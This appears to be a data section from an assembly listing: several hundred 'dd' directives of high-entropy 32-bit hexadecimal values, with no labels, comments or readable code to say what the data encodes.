dd 1027150Eh, 2080545Eh, 1143F907h, 20CE3E9h, 97C7BB60h
dd 38F892F4h, 0F2794227h, 5FE5EE0Eh, 0A3815BA0h, 0E7650E40h
dd 66055E17h, 7504640Bh, 2CF8DB60h, 1E14063Bh, 420B2EF2h
dd 39185C20h, 0C094F7B4h, 4FEBC7EEh, 0E26ECD25h, 0D73A7584h
dd 5A1B8540h, 2935AD16h, 0E4022FA9h, 4365FD0Ch, 5E8CF61h
dd 2EF124D9h, 49967DE2h, 4C538390h, 10F74CAAh, 0BD2E450Ah
dd 3DB900C2h, 4BFFF581h, 0F3FF60BFh, 9C22BFC8h, 35003A4Ch
dd 0E4382449h, 6E001C1h, 0BDC99305h, 0F5A22F77h, 0F13AE912h
dd 0B4EF2C0Ah, 1A5A8EFAh
dd 0D630072Ch, 9E15EF96h, 0DB3F4151h, 0FBB94F03h, 8DE94498h
dd 842DF995h, 0AC7D5568h, 3237C42Ah, 205FF340h, 0D14A1AB5h
dd 8603F1F8h, 0E939A248h, 0C67D4092h, 3B6B01B7h, 160547F7h
dd 2975C42Ch, 71A8F05Eh, 0E91002B4h, 1CDD2E8Bh, 0B51C7C05h
dd 0A448A779h, 9C21A446h, 18F28B7Eh, 0B881347Bh, 0A5D9816Fh
dd 81DCD730h, 2FE0415Fh, 25CD729Ah, 75F81832h, 88C6BD06h
dd 0AEF1038Bh, 0DA242AA0h, 3F5E608h, 5366FD88h, 5CD9EBA3h
dd 236BA57Dh, 5B502A44h, 0BB9DA0CBh, 0F3BD264Bh, 13F47282h
dd 4A80995Eh, 292BA80Bh, 0C808C44h, 68145958h, 0C7F87ACCh
dd 0D3D2DBBBh, 99626055h, 34AD251Ah, 506B7874h, 49D00094h
dd 0FE2D70E9h, 5A4A841Fh, 0ED560FABh, 83BE39C4h, 0AE2DF07Fh
dd 454AF4BAh, 2F1BAC3h, 0F1121F6Ch, 0A32ED02Fh, 7A4B5D1Eh
dd 0B1BDD981h, 8885CC6Bh, 0FED9C0BDh, 211994Ch, 53B575D5h
dd 743780DFh, 134DCA48h, 414FCEE9h, 5B0DB9ADh, 0D9796093h
dd 0DA9708FAh, 37ED05EBh, 824CB13Ah, 5E04530Bh, 14F2DED1h
dd 6BBE5FF4h, 0B6540BF6h, 6C15C40Bh, 0EA3C5BFFh, 0E83A077Dh
dd 285C85A1h, 0C71015EDh, 0FA306251h, 0D701F57Eh, 6BE43FEAh
dd 0A1729CECh, 0A47A5808h, 36121E17h, 5921138h, 0B2A580Bh
dd 0BE0C10B8h, 2A036C02h, 0B362FE5Ch, 0FE1CC921h, 4D16B7BDh
dd 0E44FAC22h, 568D89A8h, 22EB3AF6h, 0B5C153AAh, 5C1282B4h
dd 0DA434C68h, 37341A4h, 0AFD9D3AEh, 0D078300Fh, 4FB92612h
dd 2718F508h, 4B75C28Bh, 0F428E039h, 8FE0B53Eh, 0E633E950h
dd 62545647h, 8F5876C3h, 0E83226DAh, 55590CE2h, 0DEC9B1D1h
dd 2710CA59h, 75D009F5h, 323CEE82h, 11655B07h, 0B20257E8h
dd 5AD72097h, 0BFEE7A7Dh, 622FC8D2h, 8D9628EBh, 47A14F3Ah
dd 9FDE0806h, 0B4C12C20h, 614A2947h, 0C9FC4FEh, 4DE5B08h
dd 1C045AD2h, 0B7CC6F4Dh, 0E0849055h, 0C515C940h, 0F0F390F7h
dd 3E5D8108h, 0BBF293B8h, 584A7EF8h, 1742B0B0h, 12F696Ch
dd 60273FD1h, 0E9E07F30h, 7B0F04B4h, 0EC83E93Eh, 6852A060h
dd 166A0B5Eh, 0F4D45A61h, 710B179Eh, 2C80536h, 0C34CDAE8h
dd 4B13C20Eh, 8284BA3Dh, 92F77710h, 0A9D7CCEFh, 94070F7Ah
dd 2FA50234h, 785A7C6Eh, 0D333A074h, 0DBD39546h, 5AF5EF99h
dd 40FFCE80h, 0CF010759h, 3008C4D0h, 3C5B056h, 2C7F607Dh
dd 414DDCCAh, 0D6A86150h, 1788D716h, 0BE5304EFh, 70A51420h
dd 64BD3B18h, 2D3CB294h, 52C069B3h, 0B9BB43A0h, 50B581A0h
dd 0ABEBD6F4h, 0E3090053h, 0E424D4A0h, 70F38818h, 39600341h
dd 0AB5200ECh, 76E58108h, 6D1D9F1Dh, 3700BE56h, 0EC686067h
dd 675C9E79h, 427230E1h, 830BB951h, 0DC2CE733h, 16858B30h
dd 8DC339DFh, 935AB99Dh, 0BF6A80A2h, 5F002ADFh, 5548B93Ah
dd 9E299A44h, 0FB5020Bh, 0C8D54CA6h, 81193E9Eh, 0FB7760B2h
dd 0F202E41h, 213618ACh, 7A5C0C17h, 5F9FDD7Fh, 2FD06DA8h
dd 0BCA8977h, 0D6E0DDCDh, 0E918D729h, 86480D97h, 9D23EEC7h
dd 0F7806381h, 2CF8C1F1h, 43D0D7BBh, 9D40A268h, 0B92D35FBh
dd 2A190276h, 521CEC91h, 7F76E901h, 0A4BA6900h, 9D319F71h
dd 86987C70h, 1065CA09h, 20620FA8h, 2A0136ECh, 7B405CE9h
dd 955C5C71h, 0E76A04B5h, 0F892892Bh, 3A90D746h, 0C708C997h
dd 3A76F52Bh, 8D4D1CE9h, 0EA04EF5Bh, 8704A419h, 481C0D5h
dd 425FCF68h, 0E08564CCh, 0E43AEBB7h, 6440B142h, 0B061B586h
dd 14873B9Fh, 0B3C2D835h, 79B0774Ch, 0CCBB2186h, 0D115270Bh
dd 0E95DE11Dh, 55995135h, 0BD51E15Ah, 8E96AECEh, 0F0C80197h
dd 0F7787AF2h, 0C46BF27Ah, 75147F45h, 0E6086F07h, 0B071B520h
dd 0FC9DBF7Dh, 64864FE3h, 4AB51936h, 0CFD68040h, 9D57A54Eh
dd 7CEABA44h, 11205FBBh, 0FD37A99Fh, 0D56BDC65h, 0C1B7A98Eh
dd 2F34333Eh, 49A1A5E8h, 0E18101D0h, 769B43F0h, 0C7C9043Fh
dd 80095B12h, 0D0037F3Ah, 58512117h, 4AA8BBBh, 21936402h
dd 559AA80h, 48392D88h, 38585D61h, 2DE5D0AEh, 0C21993F5h
dd 267D5E51h, 66687867h, 28FC284Eh, 2CE2BFA4h, 220AE519h
dd 95A07F31h, 0AA015FE8h, 8303304Ah, 9B293E12h, 10CBB67Fh
dd 5D4C2D11h, 7D1B4A06h, 88060C4Ch, 1B84DC9h, 0EA2D4ADAh
dd 685DE803h, 0B0ACBCBEh, 150798D8h, 2ADFB97h, 25325694h
dd 51A585Dh, 5085FFF2h, 0C175FFADh, 66601D80h, 29624C20h
dd 671010Fh, 0C2474036h, 74688E9Ah, 4B922148h, 0AD305280h
dd 91D9A006h, 6B6F2860h, 1B0213E5h, 0F1BB00DCh, 631392Bh
dd 3B41FAB8h, 0D6ECC021h, 89B51F90h, 0B8E352F2h, 5FB92F7Fh
dd 68158F9Eh, 2085EC6h, 300A59B9h, 44067C7Eh, 0F9E2EA5Fh
dd 0BC18A681h, 0EA173008h, 0CA04FC09h, 33B68410h, 2D575C1Dh
dd 3BBA028h, 0BA86A01h, 12800C05h, 2918CC4h, 0A36F6850h
dd 2D5D19A4h, 43DC52D5h, 0B8D1B72Bh, 78555942h, 15D79777h
dd 170A084h, 1BA96DC5h, 2F1316E9h, 462547D0h, 1A39484Fh
dd 5B96DE20h, 0E9A75D2Dh, 0B51E8005h, 83B509B0h, 325FD05Eh
dd 185D12Ah, 0A2CDC12Eh, 8560653Bh, 6F2CE7B1h, 0DD8B99C1h
dd 0DC47B7Bh, 5547B4FBh, 0A2CEE912h, 0B0B130ABh, 7976DC3Bh
dd 513AED06h, 176B0BFAh, 1EAE37FCh, 2D32B295h, 0B019C8E0h
dd 2988629Dh, 0A6890684h, 552CC2E5h, 32FF7D97h, 0C9E8DE67h
dd 0F3101057h, 46249D86h, 3A32A1DFh, 3E609EA6h, 5BEE6851h
dd 596D5617h, 251C61AAh, 63B04854h, 6218C033h, 30C9E9FDh
dd 5E3B251h, 797A8284h, 6FC0EF5Dh, 603C152Ch, 4DFF0F0Ch
dd 0D4BD315Fh, 0FD002FFBh, 713A37CAh, 73EA0CC1h, 0AA8CFD7Ah
dd 0C175F3BBh, 0A543460Bh, 0E226A5Ch, 0CB3FA508h, 8B7D22EFh
dd 6974E07Fh, 0C916D6D4h, 6BA86190h, 142EA6A2h, 0EC5B93EDh
dd 90171684h, 0E8E5A08Dh, 8DB2FDEAh, 25391DDFh, 662B9975h
dd 680BC268h, 3A557BBh, 4B29AFF7h, 8233D8ECh, 2A02937Ch
dd 601B0A7Fh, 305CC049h, 3018694Eh, 0B5F6544h, 95BF8007h
dd 317FE771h, 2112D83Bh, 5B3CFA5Bh, 5EBB0753h, 0C0788F2Ah
dd 0E5193FCBh, 14B6727h, 8010C488h, 15B3147Ah, 65EFE982h
dd 2639C990h, 7651765Ch, 0D7E500BDh, 2631A0Eh, 15EF0558h
dd 0B74239A3h, 3430241h, 5F4A7831h, 7BCFCDB7h, 4B28FD88h
dd 24C8ECF1h, 81083BC1h, 7D680487h, 0E53DAB08h, 59C12062h
dd 766DE068h, 58960038h, 565D40C1h, 0C26B71E9h, 0C8B70F5Ah
dd 6A1C62C1h, 6EE8A9D9h, 0B0939953h, 0E13D37E2h, 8E8B195Eh
dd 78A1EB63h, 4AEAB310h, 450E257Ah, 3E58C619h, 3FABE8C8h
dd 29D1FEFDh, 97319220h, 0E7FF8F89h, 55798934h, 0C9BD7FC4h
dd 177AA5FEh, 0F324FF68h, 2DEA1FC4h, 0FC57E635h, 595752ECh
dd 1260E94Eh, 9BD2EE3Dh, 0FA48A602h, 0F7796A31h, 1BA85C47h
dd 98810E20h, 455A27A7h, 0F36082D9h, 81F3D3Bh, 0C3834B5Bh
dd 7691003Dh, 6AE93553h, 0EF748257h, 0EDB2C03h, 566FE241h
dd 0F221033Fh, 2184685Eh, 0CA060A9Ah, 0B8196D16h, 9EAE0904h
dd 55C4570Eh, 7CFDAB4Eh, 0C829D59Eh, 0E40CED4Bh, 58E2CBFEh
dd 51F42F9Dh, 0C1E02FC2h, 4C5F0AFEh, 0EC4B26ECh, 6C0B5A9Eh
dd 27646753h, 9D354364h, 26DD8CFCh, 69EDA047h, 0BF57DA00h
dd 1D2B7A4Fh, 0B0D7F70Ah, 0FB768D2Eh, 0ABE8714Ah, 86EF0F79h
dd 29CBD3CAh, 0FEFB33D0h, 67295A05h, 40B9E23Bh, 3F5E75FDh
dd 49F13FF8h, 0FFB36E5Eh
dd 9B005389h, 1CD30167h, 14C1585Ah, 996C4443h, 0A406BBC1h
dd 5AC88031h, 0E9491A7Fh, 0EA499FAAh, 77CA2A04h, 3A19F994h
dd 3CA59356h, 8EE54D7Bh, 66E5E04Dh, 0B06CA25Fh, 29F40CC9h
dd 692636B1h, 0BD5B1873h, 0E568FEB0h, 57A95C03h, 0C057552Ah
dd 97E95150h, 51DC595Ah, 1E883768h, 0A492B585h, 64CA052Ch
dd 0CC0BC90Ah, 0D9C05D2Dh, 3F65C7E9h, 43C35B26h, 61AB8CB3h
dd 78EF4A58h, 0F63A715h, 8532FB80h, 40DC1DEFh, 28B12C58h
dd 60E904C8h, 5A0E54E0h, 36FEC6E9h, 32934EC1h, 94AA660h
dd 6BE28142h, 8339FC05h, 0BED74BBCh, 1D34512h, 0C1D50BEEh
dd 554A0BC4h, 4EE7EE80h, 225A483Ah, 1844937h, 4377875Ch
dd 0AA0581D4h, 26EE0A25h, 80E0F4BAh, 87DCF339h, 0DA2821EAh
dd 5459C287h, 26DD9DECh, 40E0402Dh, 0CC0705Ch, 0B4FEB0A2h
dd 14CA5829h, 88172820h, 22EC5AF1h, 2550B84Bh, 9F4CF818h
dd 0EA9E5719h, 7DC1BA7Fh, 1600A82Bh, 0FB93E916h, 2EB1A0D7h
dd 0B62CEBE0h, 8471CB4Ah, 0DF21D34Fh, 0FA04FACCh, 0E25ACCDAh
dd 0D5A21879h, 187EF1E3h, 0C763915h, 0CE4A1D33h, 6F02A513h
dd 7829EFE8h, 0F1BD5FA7h, 0F0FF1DD2h, 0E69FE44Bh, 0F15E583Dh
dd 0D1F7740Dh, 594234D4h, 0FD1790FAh, 39EAF214h, 88CA2F41h
dd 683A90D3h, 46BD0932h, 0E7FB37AAh, 895D4B87h, 65A19A69h
dd 35B6B2D1h, 6809B865h, 0F0A9E68Ah, 0A13E0BFEh, 3368597Fh
dd 0D1D7B04Ah, 3487EB8h, 5F13BF4Bh, 17860D11h, 7103EAD1h
dd 97DA6814h, 0FF669CD2h, 0A124B7C7h, 0CBEC5F12h, 0D8BF0D9Eh
dd 561094CDh, 2FE9B08Dh, 0BB78832Ah, 4BADD649h, 6120EE2Dh
dd 3B0E6353h, 2A5AF9B8h, 0C2AB00C4h, 184102CAh, 0FC477037h
dd 0C03F2A41h, 426866A8h, 926E197Ch, 0E5D50E57h, 0ACF91084h
dd 1CE20710h, 3D84C981h, 27802DE3h, 67C46EE5h, 0A1350C15h
dd 7B016A2Fh, 9D5AA2B4h, 10DE157Dh, 0F9092EEh, 0E76E05B8h
dd 709837Ah, 64EA0D4Ah, 9C0B8B1h, 610CF22Ah, 0E0CE0189h
dd 3009FB47h, 802276FDh, 7E0B5E43h, 0A20E03E9h, 593A2696h
dd 78080ACh, 84353881h, 12FA0BD3h, 3544EB12h, 7B1E2B89h
dd 0BA182F12h, 46B5B930h, 0B2EF5F08h, 73FC161Bh, 4CAD91EAh
dd 0CA0F95A8h, 12BA4E42h, 0E38501B8h, 408F8409h, 0D530948Bh
dd 625D9FA2h, 8B0802F5h, 1AB3FA14h, 465AEAE9h, 9340135Eh
dd 9F3CCA2Ch, 47677D59h, 517B590h, 0B7383A61h, 69AD984Bh
dd 0EC270094h, 41EB0EBFh, 1446711h, 28284CBh, 683EE908h
dd 84326DDh, 424841D6h, 0C7858C88h, 95BE037Eh, 31A39761h
dd 0D7D858E3h, 0E3AE215Ah, 1F2CE91Ch, 46B0F525h, 4182A7E8h
dd 0A2501DFBh, 2777F7B8h, 81253A0Fh, 228E81F5h, 645A028Ah
dd 462A20ACh, 4B1D86C0h, 0DF210289h, 39088C34h, 365CF6AFh
dd 0C0642FD0h, 956268F9h, 80C0CE51h, 5FE931EEh, 0DE77AAB9h
dd 30B1A6B4h, 0DF5AB46Ah, 425E58F4h, 0FC4B4FCEh, 62AB066h
dd 0C10D0B70h, 0D16103EAh, 3FBC7F02h, 8683BA92h, 4FD59CFAh
dd 5496DCEEh, 457B1C45h, 435D8855h, 521AB109h, 0D7E2CAD3h
dd 0C674C477h, 2AB640B2h, 0B085F3F5h, 68055201h, 4B8406B1h
dd 27382FA0h, 8E4CAD47h, 1D4A1B90h, 0DD349A9Dh, 0D6260298h
dd 1319E955h, 44EF9E57h, 0F65DE902h, 905B2748h, 95C16827h
dd 5854F298h, 6B3EFB9Dh, 0EC6B5A74h, 0F8692C0Dh, 9C42DBEh
dd 0A884C3F5h, 36C7A429h, 9C7B18Ch, 0E540198h, 8386F87Fh
dd 0D20C0508h, 0C8748B3Bh, 225D5C2Ch, 4AD513CDh, 0F9463A8Dh
dd 0C9E79510h, 0FD1CD72Fh, 850BD5BBh, 6CEE0EC8h, 2D68CAF6h
dd 455E6991h, 0B3EC6E2h, 9C7D598Bh, 627135E5h, 0FAE2AF25h
dd 0AA21222Ch, 0EF8900AFh, 1F41055Dh, 0E9180A8Ah, 0BE3612CEh
dd 2B6E1E48h, 0A1CABC6Dh, 0C1E4237Eh, 1EAB1C5Bh, 3B123937h
dd 3A41E548h, 11727ECh, 5C710BF5h, 53643876h, 0A03E58A1h
dd 0CDB2B12Dh, 422AE29Fh, 7944DD52h, 9D997A33h, 5C6B17Fh
dd 0EBBD3C20h, 0BADFE923h, 736884A7h, 0EF73F180h, 93CDC13Eh
dd 0C9FE9452h, 3AABE5FBh, 26556CCCh, 13241CBDh, 0A9310121h
dd 38441E4Ch, 0D6DE10CAh, 7AD3D14Eh, 0AA8C6A03h, 13BCB41Bh
dd 85F6ED5Ah, 8B412751h, 6D12F7F1h, 41F93870h, 6C960098h
dd 0A99F1437h, 0D7325F65h, 13F3FD02h, 20BEA5F1h, 72FEB7F8h
dd 1BC519BDh, 0E57FC151h, 0F60CAF4Fh, 0ED58975Bh, 928F8D0Eh
dd 501461C0h, 4889AA6Ah, 174F3FF5h, 0F68AE0ABh, 0DC574768h
dd 89565701h, 806B5B78h, 0E8440D35h, 4ABA3702h, 0C040A112h
dd 0B19FD15h, 5BE91F4Ch, 0CD2CD360h, 14E8D03Ah, 4F28892h
dd 8D3B252h, 0B47CA8BAh, 1C0173ECh, 6F68C6FEh, 86235Ch
dd 0EDC00BB5h, 0B5C58005h, 0A3779F04h, 7C81B28h, 169EB0B5h
dd 4207643h, 8468EEE1h, 0AFC1AA6Bh, 61CA3B2Ch, 0B68E08C8h
dd 5741214Bh, 87DF46E9h, 698BD40h, 0E5813850h, 0A81E4ED3h
dd 4CD3CDCh, 4D0CAC19h, 39E841AFh, 0FC64BC76h, 0B802FAC5h
dd 66E9875Dh, 0CD65F52Ch, 5B246885h, 0FBE177ACh, 0EA5502B1h
dd 0E80DD26h, 6EBA1C44h, 4295CAB0h, 1E565727h, 82EE4058h
dd 0F63A6A50h, 38D9A5D3h, 8090DCFCh, 7603D468h, 29592B36h
dd 3C6C9ECDh, 2C092651h, 7A45FD31h, 0F1545089h, 44EBEFD9h
dd 0BE05A524h, 7C562C22h, 1DB60116h, 0E8E6F680h, 489FCEA5h
dd 3D6B6AE3h, 59920D3Bh, 64420BF4h, 681CA155h, 0C1684777h
dd 96CB5C7h, 25E967FFh, 686B1DE9h, 42EC4E63h, 41286E06h
dd 1A0B0C3Fh, 83577C14h, 9C74BCC4h, 41DE8DC3h, 1CA1081Ch
dd 98202014h, 8C229D2Dh, 78CC3B93h, 1227C009h, 2508000Bh
dd 951E36Bh, 0D930E94Dh, 436B3ADEh, 0CF39E1A5h, 83C5FD39h
dd 0E9F6E0EDh, 7283054Bh, 70C4B250h, 9519030h, 37D80CE8h
dd 658D4B00h, 74C11305h, 4E8669BCh, 99F9A06Bh, 0DAAA094Bh
dd 0F39218FBh, 0E5DE8852h, 6249B02Ah, 5B591440h, 4609F056h
dd 9EB9214Ah, 2EF0D58Bh, 0B626497Fh, 9E6A4C82h, 0F72E6009h
dd 0AF7E0792h, 29685050h, 0A69C6C09h, 91F745D9h, 7539B1CDh
dd 3DE83E67h, 71F3EC26h, 0BE9F5537h, 6560A889h, 740B1711h
dd 0EC09AB4Ah, 88742269h, 2260820Ah, 1245C62Ah, 8044D6BDh
dd 13B7C5B7h, 8CAC855Fh, 0FBB3164Bh, 5653F604h, 49E270B2h
dd 686040F7h, 8C035BBFh, 72E38EEAh, 0BF1CD895h, 22F177Eh
dd 204B004Ah, 833EB96Ah, 9C01EF3Ch, 0BB4B99F7h, 61570588h
dd 138746B4h, 0BB5A5551h, 2FE31D00h, 1358906Eh, 0BEC47DE9h
dd 98A51E67h, 38681EE0h, 0FF4A753Bh, 2A68BE7Ch, 6315621Fh
dd 1A635C52h, 2EB4144Fh, 0B3F048C5h, 6BFEE380h, 94DF6709h
dd 0D6845592h, 3B18E1BAh, 12A1BFB4h, 0B666C911h, 801C6E89h
dd 54FB73ACh, 85EC9701h, 0F4E90C80h, 0DEA70E48h, 0A743130Ch
dd 0C2E3A0CAh, 0D239121Dh, 0A7C0BF60h, 5EE95608h, 5FC982D1h
dd 4BDCD175h, 9A56C832h, 0F201E902h, 54C0F6FEh, 705D709Fh
dd 0ADB395B9h, 6B0FA2D1h, 128A78CCh, 0AB3D5E18h, 292FF1F2h
dd 0E962B7AFh, 10D5D6E0h, 81FB8DDFh, 0EBB04058h, 24301984h
dd 57B50C44h, 0AD334A1Fh, 0E90840E5h, 82B45E5Ah, 0E4339CFh
dd 164F1A9Fh, 124753DFh, 0D53F8880h, 0D8555A24h, 0D471E9C2h
dd 3C7F255Bh, 13F12070h, 0C0665E2Dh, 9F402689h, 7F497FD9h
dd 3B93C659h, 7E6E91EEh, 0D6922BAAh, 4634FF5Ah, 22BD395h
dd 5456C331h, 0EC5CF1D5h
dd 0D39502AEh, 0F36849E5h, 204BCC68h, 5C56628Ch, 0BD62738h
dd 0AB7EA044h, 0E9E1EE02h, 0B73FD0BDh, 5C842134h, 17B8DF9Dh
dd 0FA5A53E9h, 0D0E713ECh, 29685257h, 70BA6317h, 0A7E28B01h
dd 17E381Fh, 0A618EC68h, 5CD13EE5h, 0AFA51088h, 0BC4FA67Fh
dd 0A7DC97A3h, 88F457F2h, 0C00674E9h, 6168E1F7h, 81B94365h
dd 14338D44h, 250ADAEAh, 0D692DD52h, 0C92C84D8h, 0DE527516h
dd 3B9D587Ch, 81BEEF9Ch, 0C1201960h, 106002E0h, 0AD05804Bh
dd 1FF06601h, 6855E829h, 0F7BC0844h, 0B8C38624h, 0C11F0144h
dd 858C1131h, 0FC2871Dh, 3AFC5A07h, 38379A65h, 99DE248h
dd 570B77E4h, 17BE09DCh, 10F3613Dh, 4A5F1110h, 8BBBD8FAh
dd 7F61084Fh, 5D00F53Bh, 6CB1CA01h, 95C33C2h, 0F3E8E175h
dd 0E067496Fh, 0CB0238D3h, 6069C413h, 50CE327h, 77E9170Bh
dd 848FB23Dh, 33AB3203h, 0F700E2FAh, 577A02B8h, 912508h
dd 3549F917h, 63760F9Ch, 2390D795h, 0FB484E9h, 0F9A0CA3Ch
dd 81E39D59h, 282ABEC5h, 3127294Dh, 26BACDCh, 0A06DA918h
dd 0E56F5CAh, 47676B2h, 13041FEDh, 0BEE1FF58h, 662007CDh
dd 6F3A0E8Fh, 47FF4B24h, 2C8E5280h, 5C3FDD1Ah, 1F186067h
dd 0BF419583h, 1C751FCh, 59350387h, 61AB0B25h, 3B03BCh
dd 9D1ADBE9h, 28FA8318h, 8103C090h, 7657FCC9h, 0D7E1B030h
dd 465E2F31h, 0EE172DF8h, 0CF132D3Dh, 612CD803h, 0D6F1E077h
dd 3614275Dh, 0C30B547Eh, 8879F151h, 0BA004E2Fh, 7B425B5Eh
dd 0A5DA48F7h, 19C9639h, 85EA947Ah, 0E1054E73h, 88746ED3h
dd 947289C8h, 0ED800738h, 53F53201h, 0DC3288FDh, 0CAB71F3Bh
dd 5083C79Fh, 0F4C0EEB0h, 7746B181h, 596BDC2Ah, 6CFA535Bh
dd 1A4A7061h, 0D7C4C7BCh, 66EF4084h, 0C173E01Eh, 713B760Ch
dd 62507A43h, 140C6808h, 5F905A25h, 4881F47h, 0FA310D68h
dd 481E56F2h, 272ECB30h, 0B8B1BD47h, 0C23BBE66h, 0FD07301h
dd 0B566F9Fh, 9B404CE9h, 802847B3h, 0CB3B9DEBh, 0C9F30BD3h
dd 0ED6982F6h, 651657A2h, 201CF795h, 789FE925h, 0B05D9DF5h
dd 0BD932331h, 0CC871F29h, 0EF319449h, 916D2C2h, 0BCBD8475h
dd 3A3267D1h, 1BE978E5h, 8A50136Eh, 12F85FFFh, 0F4EDA486h
dd 7B25D9FDh, 0EF2A57B2h, 413A20AAh, 307879A8h, 0B28281B1h
dd 69DDE92Ah, 0BC7B0543h, 8CA640A6h, 0D0DD3167h, 681A308Bh
dd 0A82A5A4Eh, 25A5C43Bh, 40F539D8h, 29265F1Ah, 1215E8EBh
dd 0AE4D3486h, 0FBD272BEh, 22D195FCh, 0AF2EFEFDh, 0EDEC392Ch
dd 4E308B3Fh, 6B3BCDAEh, 0D61C691Ah, 8067B7Ah, 0F707E9D7h
dd 7705096Ch, 0EB5E8D41h, 768D092Dh, 962F56B8h, 0E00166ABh
dd 25B93E31h, 67899FFEh, 0CAFCA296h, 97E4D2B7h, 0BA22CF7Eh
dd 12EA054Bh, 0E4FB01DCh, 2F5B301Dh, 197634ECh, 1051E77Ah
dd 68074005h, 0A19C7665h, 79499262h, 9F24A03Fh, 0E9C17956h
dd 0A72A69E5h, 24A7B19h, 0E05E4482h, 0E15C1757h, 0A108F86Bh
dd 8F004481h, 774B987Bh, 527C9AB9h, 0E9130C6Ch, 535A4413h
dd 0C95B8152h, 21160494h, 1EFBC4EBh, 491F8108h, 494C0107h
dd 0E90C0129h, 0F4413FE6h, 5BDAF4C3h, 5C75C820h, 0C7A54584h
dd 0E70EE282h, 3DD4B748h, 2DC07E58h, 4D1E54D9h, 0ECFE200Eh
dd 44691A12h, 25173C01h, 0E12F0116h, 0A6293E0Eh, 0C08FE23Ah
dd 77255088h, 0B8C61B9h, 0A45BD931h, 0CC72B844h, 0FD18D2A8h
dd 0D1B65AFCh, 0BB1E8500h, 0EE814E67h, 272B6302h, 0FED6F76Fh
dd 58768F40h, 1CD04B69h, 0D9D2C3A8h, 0E5075099h, 34345C86h
dd 6EEDAAh, 16640D1Eh, 30E95045h, 5C2EC53Ch, 96BEC821h
dd 7D35DC5h, 0F597B341h, 0E9F59CD3h, 0E26A09E1h, 682A5081h
dd 170875D3h, 2F5E25FDh, 0CF8EFA2h, 0E6191467h, 62D04874h
dd 3D74ABB8h, 7C1720B6h, 5C74303Bh, 0F312B951h, 7BAFB7Bh
dd 91677D3h, 0A5E2C777h, 2722EE5Fh, 23D65E54h, 8DA96854h
dd 5DBB1ECBh, 0C6B072FEh, 0CDBA5201h, 0F93AC3CCh, 73780E84h
dd 4463C5ECh, 0F61033h, 8E308505h, 415EB711h, 0AA58D7DAh
dd 4A6C3325h, 75D8DF6Fh, 1189C097h, 7C552529h, 8A0EE76h
dd 0E1EC5E5Eh, 18194B7h, 29B6858h, 0A85AFD33h, 87341613h
dd 0EF4564BEh, 0ECE5DBECh, 65E9E006h, 5B0F98EAh, 55EAF29h
dd 79E0FACCh, 0B9BB53h, 0D0F674B0h, 2C05C0FEh, 638568E2h
dd 0D2C24B22h, 59EB0B05h, 5C85585Ah, 3013E141h, 0F0EDF05Eh
dd 61FDC328h, 0B2B46BD5h, 415A90A5h, 66CEE8D4h, 17B55107h
dd 5960EE08h, 0E680D6F6h, 0CFF1E05Bh, 1F17D942h, 881DFDFDh
dd 67E29FCFh, 49516854h, 0E6FA85C7h, 0CC98965Fh, 0BF84404Fh
dd 8A527h, 0C10CFE8h, 83701721h, 349941C7h, 2A4CDA1Ah
dd 6A0EADC5h, 17A90746h, 8B2EE9F0h, 0C6CE5AA5h, 9D169291h
dd 101E5FAh, 0BEC1E9F8h, 727966AFh, 20478960h, 1F99F58h
dd 8C205DA8h, 0A664B718h, 66B8CD27h, 0BA26CB1Fh, 0DC5A12A5h
dd 5E5AF7A0h, 68B0D5B8h, 0FDC44471h, 121D205Fh, 2087CD53h
dd 0AB4438F4h, 0DFE9DEAh, 29879D34h, 96B9F589h, 71BB3B51h
dd 7F5E598Fh, 0E9A07EF9h, 31BAF672h, 63E3F204h, 0A9EA3D99h
dd 412C5E8Dh, 28EE4B20h, 5AC2C0CFh, 5FDCC680h, 91480CDCh
dd 5CA6780Bh, 0F5715196h, 9C886FFEh, 9B5612CFh, 7739EA60h
dd 0C617E42Bh, 9492E109h, 1E02D79Fh, 2660E3D1h, 32730D2Fh
dd 925D697h, 0B4A52445h, 0EBD20CF1h, 0F6065C6Ch, 0B2EE80DEh
dd 2C151C06h, 4208676h, 0D3F1B88Dh, 5AF810B6h, 0E92E93FEh
dd 0BD83EEEBh, 7A4E6503h, 0A2F6B59Eh, 24355188h, 0CCC90882h
dd 0D0A2DC28h, 2353C987h, 69FAB5B4h, 0A2A2764Ah, 0D5485AD3h
dd 0C60904F1h, 90DE57E9h, 27252B96h, 0ACD034E0h, 0F1E2A14h
dd 2E5304D3h, 81EABAA2h, 3B6B7FBEh, 0FF035425h, 0E90EB14Bh
dd 8C2ED125h, 7C103D55h, 45B03BEh, 1832D061h, 18777062h
dd 9689E595h, 0E398DBF7h, 4D7B5100h, 0BCCD816Eh, 0AC7F4D2Bh
dd 853B010Bh, 8E2080D4h, 672854BDh, 1E1CC2EEh, 6CB94CA1h
dd 837CD438h, 8501C12Ch, 169D1808h, 555E925Bh, 0A433DC5Fh
dd 852B13ECh, 89AB32F0h, 4142C054h, 0EBF7207Ah, 115A1E7Fh
dd 0F22EE2F1h, 3F2D9631h, 0C8849D59h, 0C9FFDF4Ah, 0EDC43ACDh
dd 573F3AA8h, 9DE14EFDh, 0BEE23E18h, 0F95F5E89h, 0C7E589D3h
dd 65C17BDEh, 0F064FEE7h, 88394036h, 4234E27Dh, 82FA0E56h
dd 0E67FCAABh, 84974ADAh, 0D5B2AFDBh, 314DD8D3h, 0A4BF7596h
dd 77C90078h, 0C07DAAEAh, 0CBE8302Ah, 0E11A5A20h, 0B2D7B763h
dd 7674ED83h, 0BDB58A5h, 9573F28h, 0BF000AF6h, 70AD4690h
dd 1878BD31h, 0F42AE971h, 61F23982h, 7F5EFAB7h, 5D85BA83h
dd 30874DABh, 3A8DD2C8h, 57C75E6h, 69776C1Fh, 0D8FB885Bh
dd 97586E68h, 5BFAF69Bh, 0F725CE5Ch, 72258CE5h, 0CF92056h
dd 2AA1B905h, 14AC1D78h, 0C95D571Fh, 165D5849h, 4173BDA4h
dd 3C40BB01h, 0FC213B2Eh, 0A00D4FD7h, 9013E954h, 82F6FEE8h
dd 1B66809h, 0B4EB96E9h, 0D8EFC264h, 0A91F4102h, 0F253408Ah
dd 4093EDE6h, 971E53A3h, 1627E913h, 5F1F5242h, 2DB1C2D8h
dd 0F2852B7Dh, 49C722A3h, 0FD92DD97h, 57CF18F7h, 5CB72460h
dd 0D5FE2573h, 0B426823Bh, 0F4E3E977h, 98BE000Ch, 0BA68CD6Fh
dd 97B6280Bh, 9C1556E1h, 13DF2524h, 0D5D7D26Eh, 0F45FB342h
dd 0A5827246h, 10D93DE2h, 14486807h, 3647DF0Bh, 168D59AFh
dd 3A8DF143h, 321573F3h
dd 979639BDh, 0E90948E3h, 502F509Dh, 0F57AFBAh, 50DAF737h
